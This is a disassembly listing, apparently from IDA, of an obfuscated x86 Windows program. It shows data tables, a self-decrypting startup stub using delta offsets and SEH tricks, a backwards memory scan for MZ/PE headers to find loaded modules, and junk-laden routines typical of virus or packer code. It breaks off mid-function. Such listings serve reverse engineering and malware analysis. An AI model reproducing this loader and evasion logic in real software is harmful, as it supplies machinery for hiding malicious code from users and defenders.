		dd 0E9000000h, 1C8h, 8 dup(0)
		dd 94000000h, 0EBh, 8 dup(0)
		dd 24000000h, 242424h, 0AF000000h, 0FF54E9h, 0D1000000h
		dd 7, 2	dup(0)
		dd 0E7000000h, 1177DDEBh, 0FFEC58h, 4 dup(0)
		dd 18000000h, 7C90EEh, 1000000h, 36000000h, 5BF0h, 5 dup(0)
		dd 27000000h, 20000A9h,	0
		dd 0CB000000h, 6115h, 0
		dd 0FF000000h, 49FFFFFFh, 0BCA58Dh, 0Ah	dup(0)
		dd 0F000000h, 0FFA025h,	0
		dd 51000000h, 7A00B18Eh, 5CBAh,	2Ch dup(0)
		dd 14000000h, 8FBB79h, 0Ah dup(0)
		dd 94000000h, 0A07C90EBh, 0CF000000h, 56h, 13000000h, 0B702h
		dd 0DE000000h, 0B049D82Ah, 5BA7h, 0C0000000h, 8A005BF1h
		dd 5C44h, 6 dup(0)
		dd 0B7000000h, 5FB1h, 0
		dd 0F0000000h, 5077DD6Bh, 0C87FAEh, 0
		dd 0FE005130h, 0BD7CDFEFh, 0BC59A0h, 1Ch dup(0)
		dd 0B4000000h, 1801426Ch, 7BC2A8h, 19h dup(0)
		dd 60000000h, 12FFh, 4 dup(0)
		dd 5D000000h, 92005FECh, 5D70h,	2 dup(0)
		dd 55000000h, 0BB3Bh, 11h dup(0)
		dd 0DC000000h, 0ECFFFFA2h, 8D627Dh, 0
		dd 92000000h, 5B6Dh, 0
		dd 0BD000000h, 2A6D2Bh,	2 dup(0)
		dd 94000000h, 7C90EBh, 0
		dd 36000000h, 80h, 5 dup(0)
		dd 52000000h, 0FF44FEh,	0
		dd 0A7000000h, 8B3B6Ah,	9 dup(0)
		dd 47000000h, 0DCh, 0
		dd 0E3000000h, 5868h, 3	dup(0)
		dd 0A1000000h, 0B1AAh, 6 dup(0)
		dd 13000000h, 5D1Bh, 11h dup(0)
		dd 400h, 9C000000h, 7C9062h, 2 dup(0)
		dd 1120h, 5 dup(0)
		dd 6D000000h, 1C7C9105h, 0B11Ah, 0
		dd 0DF000000h, 0BFA9C530h, 5C75h, 0
		dd 40000000h, 0B11Ah, 0
		dd 0BA000000h, 0F86F3Dh, 8 dup(0)
		dd 0F000000h, 0B118h, 4	dup(0)
		dd 3F000000h, 1D390Bh, 0F6000000h, 5DBBh, 49000000h, 0BCA58Dh
		dd 4 dup(0)
		dd 94000000h, 7C90EBh, 7FFDA0h,	6 dup(0)
		dd 69000000h, 0B71Eh, 18000000h, 7C90EEh, 7 dup(0)
		dd 0F6000000h, 113E4Bh,	94000000h, 7C90EBh, 18000000h
		dd 12E50EBFh, 0EF0742h,	0
		dd 0CC000000h, 0FFFF8Bh, 23000000h, 5800h, 0Dh dup(0)
		dd 94000000h, 7C90EBh, 0
		dd 22000000h, 5C64h, 0
		dd 1B000000h, 5852h, 0
		dd 0CF000000h, 0B1A8h, 7 dup(0)
		dd 44000000h, 5CD9h, 0B0000000h, 9400006Eh, 7C90EBh, 0
		dd 55000000h, 0BB3Bh, 5	dup(0)
		dd 93000400h, 34F6B1h, 0
		dd 0DF000000h, 1B9C9h, 0
		dd 90000000h, 3C000000h, 0B4ECE2h, 0
		dd 0B7000000h, 8915B1h,	6 dup(0)
		dd 7000000h, 215AEEh, 22000000h, 22222222h, 222222h, 94000000h
		dd 7C90EBh, 16h	dup(0)
		dd 27000000h, 125Bh, 3 dup(0)
		dd 46000000h, 0CB005F4Dh, 0E8006115h, 529AB2h, 9A000000h
		dd 3AFh, 83h dup(0)
		dd 80000000h, 50000002h, 0E9FDCD00h, 20Eh, 77000000h, 0BE7C810Ah
		dd 90AAAC3Bh, 76F212h, 2 dup(0)
		dd 0D0000000h, 8FFEA420h, 0B8FFA271h, 60ECh, 2 dup(0)
		dd 0B0000000h, 182FFh, 3 dup(0)
		dd 77DD00h, 4 dup(0)
		dd 0E3000000h, 9C005868h, 0FFFF9Eh, 0Ah	dup(0)
		dd 2D000000h, 0AD764Bh,	5 dup(0)
		dd 1B000000h, 77DFC4h, 52000000h, 0EFF99Bh, 2 dup(0)
		dd 26C00h, 4 dup(0)
		dd 5A000000h, 77DDEEh, 0CA000000h, 105A98h, 5 dup(0)
		dd 0DF000000h, 0DABCB6D3h, 7C81CDh, 2 dup(0)
		dd 0DF000000h, 8C000030h, 0E005C98h, 1B7C8018h,	5846h
		dd 5 dup(0)
		dd 1000000h, 3 dup(0)
		dd 0E9000000h, 145h, 2 dup(0)
		dd 18000000h, 7C90EEh
		db 3 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_587353:				; CODE XREF: start:loc_583DBAj
		mov	eax, ebp
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 7E935A3h
		mov	[ebp+7E90C71h],	edx
		mov	[ebp+7E92F75h],	esi
		mov	[ebp+7E90BA1h],	eax
		cmp	dword ptr [ebp+7E91DBDh], 0
		jz	short loc_58738B
		mov	ebp, eax
		mov	esp, edx
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_58738B:				; CODE XREF: start+72369j
		mov	eax, [esp+40h+var_1C]
		mov	[ebp+7E909C5h],	eax
		push	45h
		call	sub_58743F
		push	783749Ah
		call	sub_587485
		push	0A894B25h
		call	sub_587485
		jmp	loc_5875C9
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 45h,	46h, 47h
		dd 4B4A4948h, 4F4E4D4Ch, 53525150h, 57565554h, 5B5A5958h
		dd 5F5E5D5Ch, 63626160h, 67666564h, 6B6A6968h, 6F6E6D6Ch
		dd 73727170h, 77767574h, 7B7A7978h, 7F7E7D7Ch, 83828180h
		dd 87868584h, 8B8A8988h, 8F8E8D8Ch, 93929190h, 97969594h
		dd 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h, 0A7A6A5A4h, 0ABAAA9A8h
		dd 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h, 0BBBAB9B8h, 0BFBEBDBCh
		dd 0C3C2C1C0h, 2 dup(0)
		db 3 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_58743F	proc near		; CODE XREF: start+72383p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		pusha
		call	$+5
		pop	edx
		sub	edx, 7E93691h
		mov	ebx, edx
		mov	[ebp+var_28], 0


loc_58745B:				; CODE XREF: sub_58743F+39j
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 80h
		jz	short loc_58747A
		mov	eax, [ebp+arg_0]
		mov	[ebx+7E935FBh],	eax
		inc	[ebp+arg_0]
		inc	ebx
		jmp	short loc_58745B
; ---------------------------------------------------------------------------


loc_58747A:				; CODE XREF: sub_58743F+2Aj
		mov	[ebp+var_24], eax
		popa
		mov	eax, [ebp+var_24]
		leave
		retn	4
sub_58743F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_587485	proc near		; CODE XREF: start+7238Dp start+72397p

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF7Ch
		pusha
		call	$+5
		pop	edx
		sub	edx, 7E936DAh
		lea	eax, [ebp+var_80]
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_84], 0


loc_5874AB:				; CODE XREF: sub_587485+41j
		mov	ecx, [ebp+var_84]
		rol	ebx, 1
		mov	[eax], bl
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	[ebp+var_84], 80h
		jnz	short loc_5874AB
		mov	[ebp+var_84], 0
		lea	edi, [edx+7E935FBh]
		lea	esi, [ebp+var_80]


loc_5874DB:				; CODE XREF: sub_587485+83j
		mov	cl, [esi]
		mov	ebx, 1F4h
		mov	eax, 785437ABh


loc_5874E7:				; CODE XREF: sub_587485+69j
		rcl	eax, cl
		mov	cl, [edi]
		rcl	eax, cl
		dec	ebx
		jnz	short loc_5874E7
		imul	eax, ebx
		inc	edi
		inc	esi
		mov	ecx, [ebp+var_84]
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	ecx, 80h
		jnz	short loc_5874DB
		popa
		leave
		retn	4
sub_587485	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		mov	esi, [ebp+8]
		mov	dword ptr [ebp-4], 0
		jmp	short loc_587525
; ---------------------------------------------------------------------------


loc_587521:				; CODE XREF: sdfs____:00587528j
		inc	dword ptr [ebp-4]
		inc	esi


loc_587525:				; CODE XREF: sdfs____:0058751Fj
		cmp	byte ptr [esi],	0
		jnz	short loc_587521
		mov	edx, 0
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		jmp	short loc_5875B6
; ---------------------------------------------------------------------------


loc_587537:				; CODE XREF: sdfs____:005875B9j
		mov	dword ptr [ebp-8], 0
		jmp	short loc_5875AD
; ---------------------------------------------------------------------------


loc_587540:				; CODE XREF: sdfs____:005875B1j
		mov	dword ptr [ebp-10h], 0
		mov	dword ptr [ebp-0Ch], 0
		jmp	short loc_58759A
; ---------------------------------------------------------------------------


loc_587550:				; CODE XREF: sdfs____:0058759Ej
		shl	dword ptr [ebp-10h], 4
		mov	eax, [ebp-8]
		shl	eax, 1
		add	eax, edx
		add	eax, [ebp-0Ch]
		xor	ebx, ebx
		mov	bl, [eax+esi]
		cmp	bl, 30h
		jb	short loc_587572
		cmp	bl, 39h
		ja	short loc_587572
		sub	bl, 30h
		jmp	short loc_587594
; ---------------------------------------------------------------------------


loc_587572:				; CODE XREF: sdfs____:00587566j
					; sdfs____:0058756Bj
		cmp	bl, 61h
		jb	short loc_587584
		cmp	bl, 66h
		ja	short loc_587584
		sub	bl, 61h
		add	bl, 0Ah
		jmp	short loc_587594
; ---------------------------------------------------------------------------


loc_587584:				; CODE XREF: sdfs____:00587575j
					; sdfs____:0058757Aj
		cmp	bl, 41h
		jb	short loc_587594
		cmp	bl, 46h
		ja	short loc_587594
		sub	bl, 41h
		add	bl, 0Ah


loc_587594:				; CODE XREF: sdfs____:00587570j
					; sdfs____:00587582j ...
		add	[ebp-10h], ebx
		inc	dword ptr [ebp-0Ch]


loc_58759A:				; CODE XREF: sdfs____:0058754Ej
		cmp	dword ptr [ebp-0Ch], 2
		jb	short loc_587550
		cmp	dword ptr [ebp-10h], 0
		jbe	short loc_5875AA
		mov	eax, [ebp-10h]
		stosb


loc_5875AA:				; CODE XREF: sdfs____:005875A4j
		inc	dword ptr [ebp-8]


loc_5875AD:				; CODE XREF: sdfs____:0058753Ej
		cmp	dword ptr [ebp-8], 2
		jb	short loc_587540
		add	edx, 4


loc_5875B6:				; CODE XREF: sdfs____:00587535j
		cmp	edx, [ebp-4]
		jb	loc_587537
		mov	al, 0
		stosb
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_5875C9:				; CODE XREF: start+7239Cj
		mov	ecx, 7000h
		lea	edi, [ebp+7E93820h]


loc_5875D4:				; CODE XREF: start+725C4j
		dec	byte ptr [edi]
		inc	edi
		dec	ecx
		jnz	short loc_5875D4
		mov	eax, 48692121h
		mov	edx, 0F0115000h
		sub	edx, 0F0000000h
		lea	eax, [ebp+7E938F8h]
		push	eax
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	$+5
		pop	eax
		mov	bx, 2B21h
		mov	ebx, eax
		push	ecx
		clc
		pop	ebx
		sub	eax, edx
		pusha
		jns	$+6
		push	edx
		mov	di, dx
		pop	edi
		popa
		and	eax, 0FFFFF000h
		and	bh, 62h
		mov	ecx, edx
		xor	edi, edi


loc_587629:				; CODE XREF: start+72630j
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_58763E
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		cmp	dword ptr [edx], 4550h
		jz	short loc_587646


loc_58763E:				; CODE XREF: start+7261Aj
		sub	eax, 1000h
		inc	edi
		jmp	short loc_587629
; ---------------------------------------------------------------------------


loc_587646:				; CODE XREF: start+72628j
		pop	large dword ptr	fs:0
		add	esp, 4
		lea	edx, [ebp+7E9390Bh]
		push	edx
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		add	eax, ecx
		sub	eax, 1000h
		mov	esi, [eax+4]
		and	esi, 0FFFF0000h
		cmp	esi, 80000000h
		jbe	short loc_587680
		mov	esi, [eax+1Ch]


loc_587680:				; CODE XREF: start+72667j
		xor	eax, eax


loc_587682:				; CODE XREF: start+72681j
		cmp	eax, 32h
		jz	short loc_5876A6
		cmp	word ptr [esi],	5A4Dh
		jz	short loc_587697


loc_58768E:				; CODE XREF: start+72690j
		sub	esi, 10000h
		inc	eax
		jmp	short loc_587682
; ---------------------------------------------------------------------------


loc_587697:				; CODE XREF: start+72678j
		mov	edi, [esi+3Ch]
		add	edi, esi
		cmp	dword ptr [edi], 4550h
		jz	short loc_5876E8
		jmp	short loc_58768E
; ---------------------------------------------------------------------------


loc_5876A6:				; CODE XREF: start+72671j
		pop	large dword ptr	fs:0
		add	esp, 4
		popa
		retn
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dw 8B51h
		dd 8110244Ch, 0B0A9h, 100000h, 0C0335900h, 4C8B51C3h, 0E8551024h
		dd 0
		dd 16ED815Dh, 8D07E939h, 0E938D485h, 0B8818907h, 5D000000h
		dd 0C3C03359h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_5876E8:				; CODE XREF: start+7268Ej
		xchg	eax, esi
		pop	large dword ptr	fs:0
		add	esp, 4
		mov	ebx, 1892A127h
		mov	ebx, edx
		mov	cx, ds
		or	ebx, 2D75B222h
		mov	ebx, 665CDCECh
		and	cl, 4
		jmp	loc_587723
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dd 1AC215D8h, 0C9873132h, 0A821F2A4h, 53CBDD2Ch
		db 0E7h, 64h, 0A9h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_587723:				; CODE XREF: start+726F7j
		or	cl, cl
		jnz	loc_587764
		jmp	loc_587738
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dd 87EFA7E3h, 0C681227h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_587738:				; CODE XREF: start+72717j
		mov	dword ptr [ebp+7E91B69h], 1
		jmp	loc_58775B
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 29h
		dd 3C2A227Fh, 9B5548FDh, 93BEE265h, 0FE129581h
		db 0BAh, 0F8h, 7Ch
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_58775B:				; CODE XREF: start+7272Ej
		jmp	loc_587770
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dd 5B79B752h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_587764:				; CODE XREF: start+72711j
		mov	dword ptr [ebp+7E91B69h], 0
		mov	bl, 88h


loc_587770:				; CODE XREF: start:loc_58775Bj
		mov	[ebp+7E92669h],	eax
		jmp	loc_587783
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 2Dh
		dd 0C30CAB44h
		db 0DDh, 48h, 35h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_587783:				; CODE XREF: start+72762j
		mov	[ebp+7E90B11h],	eax
		call	sub_58779A
		mov	[edi+49A11354h], dh
		jge	short near ptr loc_5877F6+1
		stosb
		dec	eax
		or	[edi], bl
; END OF FUNCTION CHUNK	FOR start

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_58779A	proc near		; CODE XREF: start+72775p
		jmp	sub_5877B0
sub_58779A	endp

; ---------------------------------------------------------------------------
		db 0B5h
		dd 5F8F12ECh, 59E83CC7h, 3BEBC2CCh, 0B598A60Eh

; =============== S U B	R O U T	I N E =======================================



sub_5877B0	proc near		; CODE XREF: sub_58779Aj
		pop	ebx
		xor	dx, 0F6DFh
		add	ebx, 62DDh
		sbb	ah, 5
		sub	ecx, ecx
		jns	$+6


loc_5877C7:				; CODE XREF: sub_5877B0:loc_587844j
		mov	esi, [ebx+ecx]
		cmc
		sub	esi, 57870CB5h
		sub	esi, 48174078h
		movsx	edi, ax
		add	esi, 4B72AE0Fh
		jmp	loc_5877EB
; ---------------------------------------------------------------------------
		db 0B4h, 0A0h, 74h
		db 0C9h, 3Bh, 44h
; ---------------------------------------------------------------------------


loc_5877EB:				; CODE XREF: sub_5877B0+30j
		push	esi
		pusha
		mov	ecx, ebx
		push	ecx
		stc
		pop	edi
		popa
		pop	dword ptr [ebx+ecx]


loc_5877F6:				; CODE XREF: start+72780j
		mov	dx, 0D569h
		jnp	loc_587802
		mov	al, 0E4h


loc_587802:				; CODE XREF: sub_5877B0+4Aj
		sub	ecx, 58C2F7A1h
		js	loc_587811
		mov	dx, di


loc_587811:				; CODE XREF: sub_5877B0+58j
		add	ecx, 58C2F79Dh
		cmp	ecx, 0FFFF9DE8h
		jnz	loc_58783A
		mov	dl, 86h
		jmp	loc_587857
; ---------------------------------------------------------------------------
		dw 8BB0h
		dd 31433F3Fh, 276309A6h, 2EAB9EBEh
		db 21h,	8Ch
; ---------------------------------------------------------------------------


loc_58783A:				; CODE XREF: sub_5877B0+6Dj
		jmp	loc_587844
; ---------------------------------------------------------------------------
		db 0ADh
		dd 0D003135h
; ---------------------------------------------------------------------------


loc_587844:				; CODE XREF: sub_5877B0:loc_58783Aj
		jmp	loc_5877C7
; ---------------------------------------------------------------------------
		db 4Bh,	0EEh, 4Fh
		dd 27411CC2h, 3C5482FCh
		db 0E7h, 0C7h, 74h
; ---------------------------------------------------------------------------


loc_587857:				; CODE XREF: sub_5877B0+75j
		jmp	short loc_58785D
; ---------------------------------------------------------------------------
		db 1Bh,	2, 0
		db 0
; ---------------------------------------------------------------------------


loc_58785D:				; CODE XREF: sub_5877B0:loc_587857j
		jmp	loc_587ECA
; ---------------------------------------------------------------------------
		dw 0FE9h
		dd 65000000h, 4ED9587Bh, 0C91D2473h, 1B0DCCB2h,	8960910Fh
		dd 0E9207985h, 89C02B07h, 0E91E1D85h, 24548B07h, 8589FC28h
		dd 7E90E9Dh, 11E9h, 0B4677A00h,	0D512A2EEh, 76430E8Eh
		dd 2F5C8816h, 0B5892F9Ch, 7E90BD1h, 3CBEh, 0F1858900h
		dd 307E914h, 0E9242474h, 6, 0C0CB2C0Eh,	0AD66F951h, 0F6E08060h
		dd 58D0Fh, 81660000h, 6111CDD3h, 18358509h, 440307E9h
		dd 90F52424h, 0E8E0Fh, 50600000h, 5A310F52h, 850F58h, 61000000h
		dd 6E950h, 33430000h, 1242AB92h, 0BE86090h, 0B3000000h
		dd 0F1BC65D5h, 0D56564A3h, 0E95FED87h, 11h, 0FBCA611Dh
		dd 1F91A7C5h, 22499CF1h, 0C8E10984h, 408B6158h,	4403F578h
		dd 8BF82824h, 0BD291840h, 7E922F9h, 35BD8960h, 8107E919h
		dd 432DF6C6h, 9406113h,	0E9119185h, 9F858907h, 3107E93Ah
		dd 0E934418Dh, 55BD2907h, 5807E918h, 0AE9h, 6F578C00h
		dd 93DB1386h, 8B6ED0ECh, 89607870h, 0E90C5995h,	6150B607h
		dd 601CC683h, 8BDB589h,	0BD2907E9h, 7E92F85h, 24740361h
		dd 0BD8DF824h, 7E92501h, 3F9ADF5h, 0E9242444h, 0Eh, 0BF914758h
		dd 0EA87BCB3h, 0D2088555h, 14E94849h, 89000000h, 6FB615E4h
		dd 0E0F926AFh, 0F3E7F8ABh, 0AED9F8DDh, 0ABBD9F56h, 0F7F38160h
		dd 161DA5Eh, 0E921FD95h, 0BD8D6107h, 7E90B79h, 840FADF5h
		dd 6, 0F1BD29h,	820F07E9h, 1, 244403F5h, 2DB52924h, 9007E90Ch
		dd 6E9h, 1F7C1300h, 50998432h, 7840Fh, 60600000h, 0FB8B6661h
		dd 7E99061h, 70000000h,	0BD8C3BD1h, 0E9AB27FFh,	0Eh, 0FCF7712Ah
		dd 0EB421A72h, 8FEF3FBBh, 9D29A852h, 7E91C55h, 15CDBD8Dh
		dd 0BD8907E9h, 7E91849h, 12259531h, 0F9AD07E9h,	28244403h
		dd 0B5950160h, 8907E91Ah, 0E9266595h, 0F5AB6107h, 0C781605Eh
		dd 31F3D761h, 0A7EE8166h, 8DFF6105h, 7E93A9Fh, 3A9FBD83h
		dd 750007E9h, 2444C710h, 1Ch, 0B4B58D00h, 0FF07E93Eh, 3AD56E6h
		dd 97282444h, 858ADF8Bh, 7E92659h, 474C084h, 4C75073Ah
		dd 0AEC03257h, 2B5EFD75h, 33FC52FBh, 0D18B49C9h, 0DB33C033h
		dd 8AC132ACh, 8AEA8ACDh, 6608B6D6h, 0D166EBD1h,	660973D8h
		dd 66504135h, 5449F381h, 0EB75CEFEh, 0D333C833h, 0F7D5754Fh
		dd 8BD1F7D2h, 10C0C1C2h, 5AC18B66h, 0F74D03Bh, 4C6835Eh
		dd 0E9D85FFh, 6FE907E9h, 5EFFFFFFh, 0E800Fh, 8B600000h
		dd 0E91DFD9Dh, 39BD0107h, 6107E934h, 9D858BF8h,	0F507E90Eh
		dd 3F8E0D1h, 0E915CD85h, 1820F07h, 0F5000000h, 0BEh, 0F896F500h
		dd 0DE9AD66h, 0EE000000h, 0EAE3A87Eh, 37A3CA39h, 86068638h
		dd 8902E0C1h, 0E90C958Dh, 51B53107h, 307E900h, 0E9250185h
		dd 21BD8907h, 9607E932h, 0CE9h,	9F820900h, 120C2CC9h, 0BB8E38EFh
		dd 8BFCADB0h, 0E924244Ch, 5, 664F3200h,	244403E0h, 7D958924h
		dd 0F507E924h, 1C244489h, 0B618589h, 899607E9h,	0E91D0595h
		dd 0F60AC07h, 168Ah, 11E900h, 1CA00000h, 0A9B294BFh, 467967B5h
		dd 7434EE6Eh, 0F8A2986Dh, 0F8C93261h, 0B760C1FEh, 0F1B53324h
		dd 6107E900h, 830FD0D0h, 86h, 7D9531F5h, 0D007E901h, 77830FD0h
		dd 0E9000000h, 7, 4AD0A8C5h, 0D05A4F76h, 63820FD0h, 89000000h
		dd 0E90C259Dh, 0FD0D007h, 5582h, 810F6000h, 2, 0D48A5A51h
		dd 0FC9FE61h, 0FFFFB389h, 0FE9FFh, 4690000h, 6F21A31Ch
		dd 1A71D720h, 0A38FA60Fh, 20C4832Ah, 2444C7F9h,	0FCh, 1B8F900h
		dd 0E9000000h, 7, 825F24E5h, 8DB50CA5h,	0E96E158Dh, 49BD2907h
		dd 0FF07E920h, 85C6F9E1h, 7E92659h, 8D896000h, 7E91D91h
		dd 0F1D9D89h, 616107E9h, 7E9h, 90026E00h, 0EEDC47DDh, 0FC0008C2h
		dd 0C9BD3160h, 8907E90Ah, 0E92B0D8Dh, 60966107h, 12E9h
		dd 0B823F300h, 6692CD4h, 0A20792B7h, 9C8AA9F1h,	520267B8h
		dd 800Fh, 615F0000h, 8850F50h, 0F000000h, 28Dh,	96616000h
		dd 34418D89h, 0B58907E9h, 7E940DEh, 58D89F5h, 0F07E941h
		dd 0C8Fh, 6850F00h, 89000000h, 0E9019DBDh, 7DB58D07h, 0F507E93Fh
		dd 8EA1858Dh, 12E9005Bh, 55000000h, 9BE2309Eh, 0E8A65E18h
		dd 1AF1F513h, 8506D78Fh, 0D0FFF5FBh, 31B58B60h,	0F907E926h
		dd 95895E61h, 7E91965h,	859D89C3h, 8B07E901h, 0E940DEB5h
		dd 8D8BF507h, 7E94105h,	78A0Fh,	8E0F0000h, 1, 0E9C02BF9h
		dd 0Bh,	918A7CB0h, 4206BAA4h, 60B4899Fh, 0E961EB80h, 0Bh
		dd 8FD7DE8Dh, 0A23D6B4Ah, 61418C3Fh, 9E9D98Bh, 0B0000000h
		dd 65C01F5Ah, 78A2CCB9h, 0D2B70F60h, 0F0E961F5h, 60000000h
		dd 0FE8h, 8501F00h, 94F10737h, 0BA6531Ch, 572551D4h, 5BD0BF0Fh
		dd 10E860h, 0CA330000h,	922ECE5h, 7FD65187h, 5DFFF349h
		dd 3358045Bh, 0E910799Dh, 32616107h, 13E926h, 0B16B0000h
		dd 0EDFC08AFh, 0A57A7A61h, 8248D4B4h, 94DDF7A8h, 8902B218h
		dd 0E924998Dh, 0F0816007h, 0D85BEF8h, 299D8Bh, 0E96107E9h
		dd 61h,	5E860h,	2C6D0000h, 898E2030h, 0E9310D9Dh, 0BD295F07h
		dd 7E9220Dh, 0E5958961h, 3207E92Ah, 7A05F8C2h, 0F58A751Dh
		dd 9529CC8Ah, 7E921C9h,	0B589C8D3h, 7E9249Dh, 0D1084235h
		dd 8A0F6098h, 6, 1069858Bh, 16007E9h, 0E9003185h, 0FE616107h
		dd 68C0FCAh, 89000000h,	0E90B2D95h, 0FD20A07h, 0FFFFB685h
		dd 0F54BF9FFh, 11E946h,	0BE000000h, 8A23C21h, 40130599h
		dd 4266007h, 0BEA5113h,	40850FDBh, 89FFFFFFh, 0E915DD95h
		dd 0B589CF07h, 7E925E1h, 12E90000h, 0EF000000h,	8609E39Dh
		dd 0FCB87B85h, 85AC6FBDh, 26FF339h, 0F000047h, 68Fh, 0CD850100h
		dd 7E92Ch, 0FC00h, 24C58D09h
		db 0E9h, 7
; ---------------------------------------------------------------------------


loc_587ECA:				; CODE XREF: sub_5877B0:loc_58785Dj
		lea	eax, [ebp+7E93ABCh]
		pusha
		push	edx
		mov	ebx, esi
		pop	edi
		popa
		mov	[ebp+7E90A8Dh],	eax
		sub	[ebp+7E92A71h],	edx
		lea	eax, [ebp+7E93EE8h]
		sub	[ebp+7E91DDDh],	esi
		mov	[ebp+7E90AFDh],	eax
		call	sub_587F00
		xor	bh, [ecx]
		inc	edx
		or	[ecx], bh
		cwde
		into
sub_5877B0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_587F00	proc near		; CODE XREF: sub_5877B0+744p
		mov	bx, 64E4h
		pop	edi
		sbb	si, 582Eh
		add	edi, 5D8Ch
		call	sub_587F1D
		jecxz	short loc_587F3E
		db	3Eh
		dec	edi
		xchg	eax, edx
		iret
sub_587F00	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0F4h
		db 29h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_587F1D	proc near		; CODE XREF: sub_587F00+10p
		jmp	sub_587F2A
sub_587F1D	endp

; ---------------------------------------------------------------------------
		dw 0B196h
		dd 0F8267C6Ch
		db 58h,	0ACh

; =============== S U B	R O U T	I N E =======================================



sub_587F2A	proc near		; CODE XREF: sub_587F1Dj
		pop	esi
		push	172Fh
		call	sub_587F3F
		clc
		sal	ebx, 1
		pop	es
		cmp	eax, 0A9A7CDA6h


loc_587F3E:				; CODE XREF: sub_587F00+15j
		push	eax
sub_587F2A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_587F3F	proc near		; CODE XREF: sub_587F2A+6p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00588130 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00588B09 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0058B4E0 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058B694 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005B045B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005B04BB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005B0DCA SIZE 00000009 BYTES

		push	edx
		mov	[ebp+7E91C41h],	ebx
		pop	ebx
		pop	ebx
		pop	eax
		jle	loc_587F55
		mov	ebx, [ebp+7E90C19h]


loc_587F55:				; CODE XREF: sub_587F3F+Aj
					; sub_587F3F+7Dj
		mov	ecx, [edi]
		and	si, 8B28h
		xor	ecx, 60B3683Dh
		pusha
		mov	esi, [ebp+7E91DCDh]
		js	loc_587F75
		mov	[ebp+7E911B5h],	edx


loc_587F75:				; CODE XREF: sub_587F3F+2Aj
		popa
		sub	ecx, 2B5215C5h
		clc
		sub	ecx, 1EBEA1C9h
		mov	[ebp+7E90779h],	ebx
		push	ecx
		add	si, 0F0B0h
		pop	dword ptr [edi]
		sub	edi, 4
		sub	[ebp+7E9127Dh],	eax
		sub	eax, 1
		jnz	loc_587FB6
		or	[ebp+7E90035h],	esi
		jmp	loc_587FCD
; ---------------------------------------------------------------------------
		dw 0B388h
		dd 9E666597h
		db 43h,	0C6h
; ---------------------------------------------------------------------------


loc_587FB6:				; CODE XREF: sub_587F3F+5Ej
		mov	ebx, [ebp+7E92EE9h]
		jmp	loc_587F55
; ---------------------------------------------------------------------------
		db 9Bh,	9Fh, 68h
		dd 0FD108B93h, 881287F4h
		db 0B8h
; ---------------------------------------------------------------------------


loc_587FCD:				; CODE XREF: sub_587F3F+6Aj
		jmp	short loc_587FE3
; ---------------------------------------------------------------------------
		align 10h
		dd 3 dup(0)
		dd 0E4000000h
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_587FE3:				; CODE XREF: sub_587F3F:loc_587FCDj
		lea	eax, [ebp+7E942E0h]
		mov	[ebp+7E920A1h],	eax
		cmp	dword ptr [ebp+7E94221h], 0
		jz	loc_588130
		mov	byte ptr [ebp+7E92659h], 56h
		push	0ADB0C735h
		xor	[esp-4+arg_0], 79AFAA0Ch
		push	dword ptr [ebp+7E92669h]
		lea	eax, [ebp+7E93ABCh]
		call	eax
		mov	[ebp+7E94215h],	eax
		mov	byte ptr [ebp+7E92659h], 56h
		call	near ptr loc_588030+3
		push	edx


loc_588030:				; CODE XREF: sub_587F3F+EBp
